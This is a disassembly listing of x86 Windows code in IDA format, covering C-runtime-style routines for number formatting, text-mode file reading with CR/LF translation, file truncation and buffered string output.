loc_44DD87:				; CODE XREF: sub_44DBAB+1C5j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		mov	[eax+28h], edx
		jmp	loc_44E040
; ---------------------------------------------------------------------------


loc_44DD95:				; CODE XREF: sub_44DBAB+178j
		movsx	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	ax, [ebp+arg_10]
		sub	[ebp+arg_C], ax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44DDDA
		test	word ptr [eax+38h], 8
		jz	short loc_44DDF2


loc_44DDDA:				; CODE XREF: sub_44DBAB+225j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_44DDF2:				; CODE XREF: sub_44DBAB+22Dj
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_44DE08
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_44DE08:				; CODE XREF: sub_44DBAB+251j
		movsx	eax, [ebp+arg_C]
		push	eax
		movsx	eax, [ebp+arg_10]
		mov	edx, [ebp+arg_8]
		add	eax, edx
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx
		jmp	loc_44E040
; ---------------------------------------------------------------------------


loc_44DE4E:				; CODE XREF: sub_44DBAB+36j
					; sub_44DBAB+44j ...
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_44DE59
		cmp	al, 47h
		jnz	short loc_44DEA4


loc_44DE59:				; CODE XREF: sub_44DBAB+2A8j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_44DE77
		test	word ptr [eax+38h], 8
		jnz	short loc_44DE77
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_44DE77:				; CODE XREF: sub_44DBAB+2B8j
					; sub_44DBAB+2C0j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		dec	edx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_44DE8F
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_44DE8F:				; CODE XREF: sub_44DBAB+2D8j
		xor	eax, eax
		cmp	[ebp+arg_4], 67h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 45h
		mov	[ebp+arg_4], al
		jmp	short loc_44DEBA
; ---------------------------------------------------------------------------


loc_44DEA4:				; CODE XREF: sub_44DBAB+2ACj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_44DEB0
		mov	[ebp+arg_4], 70h
		jmp	short loc_44DEBA
; ---------------------------------------------------------------------------


loc_44DEB0:				; CODE XREF: sub_44DBAB+2FDj
		cmp	[ebp+arg_4], 41h
		jnz	short loc_44DEBA
		mov	[ebp+arg_4], 50h


loc_44DEBA:				; CODE XREF: sub_44DBAB+2F7j
					; sub_44DBAB+303j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	[ebp+arg_8], ecx
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+10h]
		mov	al, [eax]
		mov	[ecx+edx], al
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_44DEEB
		test	word ptr [eax+38h], 8
		jz	short loc_44DF03


loc_44DEEB:				; CODE XREF: sub_44DBAB+336j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_44DF03:				; CODE XREF: sub_44DBAB+33Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jle	short loc_44DF66
		mov	ax, [ebp+arg_C]
		dec	ax
		mov	[ebp+arg_C], ax
		mov	edx, [ebp+arg_0]
		movsx	eax, ax
		cmp	[edx+2Ch], eax
		jge	short loc_44DF2B
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_44DF2B:				; CODE XREF: sub_44DBAB+374j
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx


loc_44DF66:				; CODE XREF: sub_44DBAB+35Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		mov	[ebp+arg_8], eax
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	dl, [ebp+arg_4]
		mov	[eax], dl
		cmp	[ebp+arg_10], 0
		jl	short loc_44DF94
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Bh
		jmp	short loc_44DFA4
; ---------------------------------------------------------------------------


loc_44DF94:				; CODE XREF: sub_44DBAB+3D9j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Dh
		neg	[ebp+arg_10]


loc_44DFA4:				; CODE XREF: sub_44DBAB+3E7j
		mov	[ebp+var_8], 0
		jmp	short loc_44DFD6
; ---------------------------------------------------------------------------


loc_44DFAD:				; CODE XREF: sub_44DBAB+430j
		push	0Ah
		movsx	eax, [ebp+arg_10]
		push	eax
		call	sub_44E9AB
		add	esp, 8
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	[ebp+eax+var_12], dl
		mov	eax, [ebp+var_1C]
		mov	[ebp+arg_10], ax
		inc	[ebp+var_8]


loc_44DFD6:				; CODE XREF: sub_44DBAB+400j
		cmp	[ebp+arg_10], 0
		jg	short loc_44DFAD
		cmp	[ebp+var_8], 2
		jge	short loc_44DFFA
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_44DFEE
		cmp	al, 45h
		jnz	short loc_44DFFA


loc_44DFEE:				; CODE XREF: sub_44DBAB+43Dj
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h


loc_44DFFA:				; CODE XREF: sub_44DBAB+436j
					; sub_44DBAB+441j
		cmp	[ebp+var_8], 0
		jnz	short loc_44E027
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h
		jmp	short loc_44E027
; ---------------------------------------------------------------------------


loc_44E00E:				; CODE XREF: sub_44DBAB+480j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	edx, [ebp+var_8]
		dec	edx
		mov	[ebp+var_8], edx
		mov	dl, [ebp+edx+var_12]
		add	dl, 30h
		mov	[eax], dl


loc_44E027:				; CODE XREF: sub_44DBAB+453j
					; sub_44DBAB+461j
		cmp	[ebp+var_8], 0
		jg	short loc_44E00E
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	ecx, [eax+1Ch]
		mov	ebx, [eax+10h]
		add	ecx, ebx
		sub	edx, ecx
		mov	[eax+24h], edx


loc_44E040:				; CODE XREF: sub_44DBAB+16Bj
					; sub_44DBAB+1E5j ...
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+38h]
		and	eax, 14h
		cmp	eax, 10h
		jnz	short loc_44E083
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	ecx, [eax+20h]
		add	edx, ecx
		mov	ecx, [eax+24h]
		add	edx, ecx
		mov	eax, [eax+28h]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+34h]
		cmp	[ebp+var_8], eax
		jge	short loc_44E083
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+34h]
		sub	edx, [ebp+var_8]
		mov	[eax+18h], edx


loc_44E083:				; CODE XREF: sub_44DBAB+4A2j
					; sub_44DBAB+4CAj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44DBAB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E08B	proc near		; CODE XREF: sub_44D0DB+348p
					; DMN1:0044E406p

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_44E0C0
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 2
		jz	short loc_44E0C7


loc_44E0C0:				; CODE XREF: sub_44E08B+18j
		xor	eax, eax
		jmp	loc_44E3B0
; ---------------------------------------------------------------------------


loc_44E0C7:				; CODE XREF: sub_44E08B+33j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 48h
		jz	short loc_44E129
		cmp	byte ptr [eax+5], 0Ah
		jz	short loc_44E129
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	edx, ebx
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_41398C[ecx*4]
		mov	dl, [ecx+edx+5]
		mov	[eax], dl
		inc	edi
		dec	[ebp+arg_8]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	byte ptr [edx+eax+5], 0Ah


loc_44E129:				; CODE XREF: sub_44E08B+56j
					; sub_44E08B+5Cj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E1C	; ReadFile
		test	eax, eax
		jnz	short loc_44E199
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax
		cmp	eax, 5
		jnz	short loc_44E17A
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_44E3B0
; ---------------------------------------------------------------------------


loc_44E17A:				; CODE XREF: sub_44E08B+DAj
		cmp	[ebp+var_10], 6Dh
		jnz	short loc_44E187
		xor	eax, eax
		jmp	loc_44E3B0
; ---------------------------------------------------------------------------


loc_44E187:				; CODE XREF: sub_44E08B+F3j
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_449A3B
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_44E3B0
; ---------------------------------------------------------------------------


loc_44E199:				; CODE XREF: sub_44E08B+CCj
		mov	eax, [ebp+var_4]
		add	edi, eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 80h
		jz	loc_44E3AE
		cmp	[ebp+var_4], 0
		jz	short loc_44E1E8
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_44E1E8
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	4
		jmp	short loc_44E203
; ---------------------------------------------------------------------------


loc_44E1E8:				; CODE XREF: sub_44E08B+136j
					; sub_44E08B+13Ej
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FBh


loc_44E203:				; CODE XREF: sub_44E08B+15Bj
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	esi, eax
		jmp	loc_44E397
; ---------------------------------------------------------------------------


loc_44E210:				; CODE XREF: sub_44E08B+313j
		cmp	byte ptr [esi],	1Ah
		jnz	short loc_44E254
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 40h
		jnz	loc_44E3A4
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	2
		jmp	loc_44E3A4
; ---------------------------------------------------------------------------


loc_44E254:				; CODE XREF: sub_44E08B+188j
		cmp	byte ptr [esi],	0Dh
		jz	short loc_44E26E
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_44E397
; ---------------------------------------------------------------------------


loc_44E26E:				; CODE XREF: sub_44E08B+1CCj
		mov	eax, [ebp+arg_4]
		lea	eax, [eax+edi-1]
		cmp	esi, eax
		jnb	short loc_44E2A8
		cmp	byte ptr [esi+1], 0Ah
		jnz	short loc_44E293
		add	esi, 2
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	loc_44E397
; ---------------------------------------------------------------------------


loc_44E293:				; CODE XREF: sub_44E08B+1F2j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, esi
		inc	esi
		mov	dl, [edx]
		mov	[eax], dl
		jmp	loc_44E397
; ---------------------------------------------------------------------------


loc_44E2A8:				; CODE XREF: sub_44E08B+1ECj
		inc	esi
		mov	[ebp+var_10], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		lea	eax, [ebp+var_11]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E1C	; ReadFile
		test	eax, eax
		jnz	short loc_44E2E7
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax


loc_44E2E7:				; CODE XREF: sub_44E08B+251j
		cmp	[ebp+var_10], 0
		jnz	short loc_44E2F3
		cmp	[ebp+var_4], 0
		jnz	short loc_44E304


loc_44E2F3:				; CODE XREF: sub_44E08B+260j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		jmp	loc_44E397
; ---------------------------------------------------------------------------


loc_44E304:				; CODE XREF: sub_44E08B+266j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 48h
		jz	short loc_44E35C
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_44E333
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_44E397
; ---------------------------------------------------------------------------


loc_44E333:				; CODE XREF: sub_44E08B+298j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	cl, [ebp+var_11]
		mov	[edx+eax+5], cl
		jmp	short loc_44E397
; ---------------------------------------------------------------------------


loc_44E35C:				; CODE XREF: sub_44E08B+292j
		mov	eax, [ebp+arg_4]
		cmp	eax, [ebp+var_8]
		jnz	short loc_44E378
		cmp	[ebp+var_11], 0Ah
		jnz	short loc_44E378
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Ah
		jmp	short loc_44E397
; ---------------------------------------------------------------------------


loc_44E378:				; CODE XREF: sub_44E08B+2D7j
					; sub_44E08B+2DDj
		push	1
		push	0FFFFFFFFh
		push	ebx
		call	sub_44D5EB
		add	esp, 0Ch
		cmp	[ebp+var_11], 0Ah
		jz	short loc_44E397
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	byte ptr [eax],	0Dh


loc_44E397:				; CODE XREF: sub_44E08B+180j
					; sub_44E08B+1DEj ...
		mov	eax, [ebp+arg_4]
		add	eax, edi
		cmp	esi, eax
		jb	loc_44E210


loc_44E3A4:				; CODE XREF: sub_44E08B+1A3j
					; sub_44E08B+1C4j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	edi, eax


loc_44E3AE:				; CODE XREF: sub_44E08B+12Cj
		mov	eax, edi


loc_44E3B0:				; CODE XREF: sub_44E08B+37j
					; sub_44E08B+EAj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44E08B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A8C
		jnb	short loc_44E3E6
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44E3F6


loc_44E3E6:				; CODE XREF: DMN1:0044E3C9j
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E419
; ---------------------------------------------------------------------------


loc_44E3F6:				; CODE XREF: DMN1:0044E3E4j
		push	ebx
		call	sub_44C47B
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_44E08B
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_44C4DB
		pop	ecx
		mov	eax, esi


loc_44E419:				; CODE XREF: DMN1:0044E3F4j
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_44E59B
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E44B	proc near		; CODE XREF: sub_44D0DB+35Fp
					; sub_44E59B+46p

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1014h
		call	sub_448F2B
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_4], 0
		push	1
		push	0
		push	ebx
		call	sub_44D5EB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44E48F
		push	2
		push	0
		push	ebx
		call	sub_44D5EB
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44E497


loc_44E48F:				; CODE XREF: sub_44E44B+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_44E58B
; ---------------------------------------------------------------------------


loc_44E497:				; CODE XREF: sub_44E44B+42j
		mov	eax, [ebp+arg_4]
		mov	esi, eax
		sub	esi, [ebp+var_8]
		test	esi, esi
		jle	loc_44E53C
		lea	edx, [ebp+var_1010]
		mov	ecx, 1000h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		push	8000h
		push	ebx
		call	sub_44E9DB
		add	esp, 8
		mov	[ebp+var_10], eax


loc_44E4CD:				; CODE XREF: sub_44E44B+E0j
		cmp	esi, 1000h
		jb	short loc_44E4E1
		mov	[ebp+var_1014],	1000h
		jmp	short loc_44E4E9
; ---------------------------------------------------------------------------


loc_44E4E1:				; CODE XREF: sub_44E44B+88j
		mov	eax, esi
		mov	[ebp+var_1014],	eax


loc_44E4E9:				; CODE XREF: sub_44E44B+94j
		mov	eax, [ebp+var_1014]
		push	eax
		lea	eax, [ebp+var_1010]
		push	eax
		push	ebx
		call	sub_44BE6B
		add	esp, 0Ch
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44E523
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	short loc_44E51D
		call	sub_449B9B
		mov	dword ptr [eax], 0Dh


loc_44E51D:				; CODE XREF: sub_44E44B+C5j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_44E52D
; ---------------------------------------------------------------------------


loc_44E523:				; CODE XREF: sub_44E44B+BAj
		mov	eax, esi
		sub	eax, edi
		mov	esi, eax
		test	eax, eax
		jg	short loc_44E4CD


loc_44E52D:				; CODE XREF: sub_44E44B+D6j
		mov	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_44E9DB
		add	esp, 8
		jmp	short loc_44E579
; ---------------------------------------------------------------------------


loc_44E53C:				; CODE XREF: sub_44E44B+56j
		test	esi, esi
		jge	short loc_44E579
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_44D5EB
		add	esp, 0Ch
		push	ebx
		call	sub_44C35B
		pop	ecx
		push	eax
		call	dword_411E20	; SetEndOfFile
		test	eax, eax
		setnz	al
		and	eax, 1
		dec	eax
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_44E579
		call	sub_449B9B
		mov	dword ptr [eax], 0Dh


loc_44E579:				; CODE XREF: sub_44E44B+EFj
					; sub_44E44B+F3j ...
		push	0
		mov	eax, [ebp+var_C]
		push	eax
		push	ebx
		call	sub_44D5EB
		add	esp, 0Ch
		mov	eax, [ebp+var_4]


loc_44E58B:				; CODE XREF: sub_44E44B+47j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44E44B	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44E59B	proc near		; CODE XREF: DMN1:0044E436p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A8C
		jnb	short loc_44E5C4
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44E5D4


loc_44E5C4:				; CODE XREF: sub_44E59B+Cj
		call	sub_449B9B
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E5F4
; ---------------------------------------------------------------------------


loc_44E5D4:				; CODE XREF: sub_44E59B+27j
		push	ebx
		call	sub_44C47B
		pop	ecx
		mov	eax, [esp+8+arg_4]
		push	eax
		push	ebx
		call	sub_44E44B
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_44C4DB
		pop	ecx
		mov	eax, esi


loc_44E5F4:				; CODE XREF: sub_44E59B+37j
		pop	esi
		pop	ebx
		retn
sub_44E59B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E5FB	proc near		; CODE XREF: sub_44D4BB+EFp
					; sub_44D4BB+100p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		jmp	loc_44E6B8
; ---------------------------------------------------------------------------


loc_44E60F:				; CODE XREF: sub_44E5FB+C0j
		mov	eax, [esi+18h]
		cmp	eax, [esi+10h]
		ja	short loc_44E62A
		push	esi
		call	sub_44A69B
		pop	ecx
		test	eax, eax
		jge	short loc_44E62A
		or	eax, 0FFFFFFFFh
		jmp	loc_44E6DA
; ---------------------------------------------------------------------------


loc_44E62A:				; CODE XREF: sub_44E5FB+1Aj
					; sub_44E5FB+25j
		test	word ptr [esi],	400h
		jz	short loc_44E641
		push	0Ah
		push	ebx
		call	sub_44EAEB
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_44E648
; ---------------------------------------------------------------------------


loc_44E641:				; CODE XREF: sub_44E5FB+34j
		mov	[ebp+var_C], 0


loc_44E648:				; CODE XREF: sub_44E5FB+44j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_44E65D
		mov	eax, [ebp+var_4]
		sub	eax, ebx
		inc	eax
		mov	[ebp+var_10], eax
		jmp	short loc_44E66C
; ---------------------------------------------------------------------------


loc_44E65D:				; CODE XREF: sub_44E5FB+55j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_44E662:				; CODE XREF: sub_44E5FB+6Cj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44E662
		mov	[ebp+var_10], eax


loc_44E66C:				; CODE XREF: sub_44E5FB+60j
		mov	edi, [ebp+var_10]
		mov	eax, [esi+18h]
		mov	edx, [esi+10h]
		sub	eax, edx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], edi
		jnb	short loc_44E689
		mov	[ebp+var_4], 0
		mov	edi, [ebp+var_8]


loc_44E689:				; CODE XREF: sub_44E5FB+82j
		push	edi
		push	ebx
		mov	eax, [esi+10h]
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		add	ebx, edi
		lea	eax, [esi+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_4], 0
		jz	short loc_44E6B8
		push	esi
		call	sub_44A49B
		pop	ecx
		test	eax, eax
		jz	short loc_44E6B8
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E6DA
; ---------------------------------------------------------------------------


loc_44E6B8:				; CODE XREF: sub_44E5FB+Fj
					; sub_44E5FB+ABj ...
		cmp	byte ptr [ebx],	0
		jnz	loc_44E60F
		test	word ptr [esi],	800h
		jz	short loc_44E6D8
		push	esi
		call	sub_44A49B
		pop	ecx
		test	eax, eax
		jz	short loc_44E6D8
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E6DA
; ---------------------------------------------------------------------------


loc_44E6D8:				; CODE XREF: sub_44E5FB+CBj
					; sub_44E5FB+D6j
		xor	eax, eax


loc_44E6DA:				; CODE XREF: sub_44E5FB+2Aj
					; sub_44E5FB+BBj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
